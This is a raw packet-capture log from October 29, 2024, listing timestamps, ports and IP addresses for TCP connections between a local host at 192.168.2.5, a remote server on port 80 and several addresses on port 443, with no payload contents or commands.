Oct 29, 2024 20:35:23.976115942 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.976126909 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.976139069 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.976156950 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.976169109 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.976169109 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.976169109 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.976180077 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.976191998 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.976202965 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.976214886 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.976222992 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.976227045 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.976238966 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.976250887 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.976255894 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.976255894 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.976263046 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.976274967 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.976284981 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.976289988 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.976289988 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.976298094 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.976313114 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.976325035 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.976336002 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.976341963 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.976341963 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.976346970 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.976358891 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.976368904 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.976382017 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.976388931 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.976388931 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.976392984 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.976403952 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.976414919 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.976430893 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.976444006 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.976449013 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.976449013 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.976464033 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.976475000 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.976486921 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.976492882 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.976492882 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.976528883 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.976528883 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.976639032 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.976650000 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.976664066 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.976670027 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.976675034 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.976686954 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.976697922 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.976710081 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.976716042 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.976716042 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.976721048 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.976732969 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.976748943 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.976759911 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.976767063 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.976767063 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.976772070 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.976783991 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.976794958 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.976804972 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.976816893 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.976825953 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.976839066 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.976845026 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.976845026 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.976850986 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.976861954 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.976881027 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.976890087 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.976890087 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.976891994 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.976903915 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.976913929 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.976927996 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.976938009 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.976948977 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.976952076 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.976952076 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.976959944 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.976970911 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.976983070 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.976994038 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.977001905 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.977001905 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.977024078 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.977035999 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.977044106 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.977044106 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.977046967 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.977058887 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.977068901 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.977070093 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.977082014 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.977093935 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.977104902 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.977113008 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.977113008 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.977117062 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.977129936 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.977147102 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.977159023 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.977159023 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.977159023 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.977170944 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.977181911 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.977190971 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.977190971 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.977221012 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.977226973 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.977232933 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.977232933 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.977232933 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.977237940 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.977267027 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.977267027 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.977374077 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.977391005 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.977401972 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.977413893 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.977425098 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.977428913 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.977428913 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.977436066 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.977446079 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.977471113 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.977482080 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.977483034 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.977483034 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.977493048 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.977504015 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.977514982 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.977528095 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.977528095 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.977530003 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.977535963 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.977540970 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.977546930 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.977551937 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.977554083 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.977560997 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.977566957 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.977566957 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.977571964 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.977582932 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.977590084 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.977595091 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.977605104 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.977619886 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.977619886 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.977654934 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.977785110 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.977802038 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.977813005 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.977824926 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.977835894 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.977837086 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.977848053 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.977859020 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.977870941 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.977881908 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.977893114 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.977895975 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.977895975 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.977905035 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.977915049 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.977932930 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.977943897 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.977952003 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.977952003 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.977955103 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.977967024 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.977969885 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.977978945 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.978001118 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.978002071 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.978045940 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.978115082 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.978131056 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.978142023 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.978152990 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.978157043 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.978168011 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.978178978 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.978188038 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.978188038 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.978188992 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.978199959 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.978214025 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.978230953 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.978241920 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.978252888 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.978255033 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.978255033 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.978264093 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.978275061 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.978286028 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.978291035 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.978291035 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.978300095 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.978311062 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.978321075 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.978332043 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.978343964 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.978354931 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.978365898 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.978377104 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.978389025 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.978394032 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.978394032 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.978425980 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.978425980 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.979329109 CET	443	49950	13.107.246.57	192.168.2.5
Oct 29, 2024 20:35:23.979484081 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.979500055 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.979513884 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.979526997 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.979533911 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.979538918 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.979549885 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.979562044 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.979573965 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.979582071 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.979582071 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.979584932 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.979597092 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.979614019 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.979623079 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.979623079 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.979630947 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.979643106 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.979655027 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.979666948 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.979679108 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.979688883 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.979691029 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.979691029 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.979701042 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.979716063 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.979717970 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.979729891 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.979741096 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.979752064 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.979763031 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.979773998 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.979774952 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.979774952 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.979785919 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.979795933 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.979814053 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.979820967 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.979820967 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.979825974 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.979839087 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.979850054 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.979867935 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.979871988 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.979871988 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.979878902 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.979897022 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.979908943 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.979914904 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.979914904 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.979922056 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.979933023 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.979943991 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.979981899 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.979981899 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.985274076 CET	49947	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:23.985306025 CET	443	49947	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:23.985322952 CET	49947	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:23.985330105 CET	443	49947	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:23.988601923 CET	49945	443	192.168.2.5	13.107.246.57
Oct 29, 2024 20:35:23.988616943 CET	443	49945	13.107.246.57	192.168.2.5
Oct 29, 2024 20:35:23.992994070 CET	49948	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:23.993031979 CET	443	49948	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:23.993586063 CET	49948	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:23.993596077 CET	443	49948	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:23.997323990 CET	49951	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:23.997323990 CET	49951	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:23.997368097 CET	443	49951	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:23.997381926 CET	443	49951	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:24.000463963 CET	49953	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:24.000508070 CET	443	49953	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:24.002163887 CET	49953	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:24.002490997 CET	443	49949	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:24.002518892 CET	443	49949	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:24.002564907 CET	443	49949	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:24.003061056 CET	49949	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:24.006016016 CET	49949	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:24.006016016 CET	49949	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:24.006017923 CET	49953	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:24.006037951 CET	443	49949	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:24.006042957 CET	443	49953	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:24.006052971 CET	443	49949	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:24.008203983 CET	49954	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:24.008229971 CET	443	49954	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:24.009983063 CET	49954	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:24.010267019 CET	49954	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:24.010281086 CET	443	49954	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:24.017580986 CET	49955	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:24.017613888 CET	443	49955	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:24.017682076 CET	49955	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:24.018125057 CET	49955	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:24.018136978 CET	443	49955	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:24.022454023 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.022465944 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.022475958 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.022486925 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.022499084 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.022510052 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.022516012 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.022524118 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.022582054 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.022593975 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.022603035 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.022614002 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.022614956 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.022614956 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.022630930 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.022641897 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.022653103 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.022664070 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.022675037 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.022675037 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.022675991 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.022686958 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.022699118 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.022710085 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.022721052 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.022721052 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.022721052 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.022732973 CET	80	49863	185.215.113.206	192.168.2.5
